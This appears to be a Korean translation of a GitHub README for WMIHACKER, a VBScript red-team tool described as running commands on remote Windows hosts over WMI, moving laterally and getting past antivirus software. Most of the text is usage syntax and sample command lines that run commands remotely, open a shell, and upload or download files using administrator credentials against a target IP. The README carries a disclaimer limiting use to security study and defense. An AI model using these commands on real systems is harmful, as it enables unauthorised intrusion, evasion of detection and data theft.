rootclay/wmihacker안티바이러스 소프트웨어를 우회하는 측면 이동 명령 실행 도구
면책 고지: 이 프로젝트에 포함된 기술은 보안 학습 및 방어 목적으로만 사용되며, 불법 사용은 금지됩니다!
안티바이러스 소프트웨어를 우회하는 수평 이동 명령 실행 테스트 도구（445 포트 불필요）
소개: 일반적인 WMIEXEC, PSEXEC 도구의 명령 실행 방식은 서비스를 생성하거나 Win32_Process.create를 호출하는 것입니다. 이러한 방법은 안티바이러스 소프트웨어에 100% 차단되었습니다. 그래서 우리는 WMIHACKER를 만들었습니다 (안티바이러스 소프트웨어를 우회하는 수평 이동 명령 실행 테스트 도구（445 포트 불필요）).
주요 기능: 1. 명령 실행; 2. 파일 업로드; 3. 파일 다운로드
C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs
__ ____ __ _____ _ _ _____ _ ________ _____
\ \ / / \/ |_ _| | | | | /\ / ____| |/ / ____| __ \
\ \ /\ / /| \ / | | | | |__| | / \ | | | ' /| |__ | |__) |
\ \/ \/ / | |\/| | | | | __ | / /\ \| | | < | __| | _ /
\ /\ / | | | |_| |_ | | | |/ ____ \ |____| . \| |____| | \ \
\/ \/ |_| |_|_____| |_| |_/_/ \_\_____|_|\_\______|_| \_\
v0.6beta By. Xiangshan@360RedTeam
Usage:
WMIHACKER.vbs /cmd host user pass command GETRES?
WMIHACKER.vbs /shell host user pass
WMIHACKER.vbs /upload host user pass localpath remotepath
WMIHACKER.vbs /download host user pass localpath remotepath
/cmd single command mode
host hostname or IP address
GETRES? Res Need Or Not, Use 1 Or 0
command the command to run on remote host
명령 실행 후 결과가 표시됩니다
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
명령 실행 후 결과가 표시되지 않습니다
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
쉘 모드
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
파일 업로드: 로컬 calc.exe를 원격 호스트 c:\calc.exe로 복사합니다
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
파일 다운로드: 원격 호스트의 calc.exe를 로컬 c:\calc.exe로 다운로드합니다
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
WMIHACKER가 404Starlink에 가입했습니다
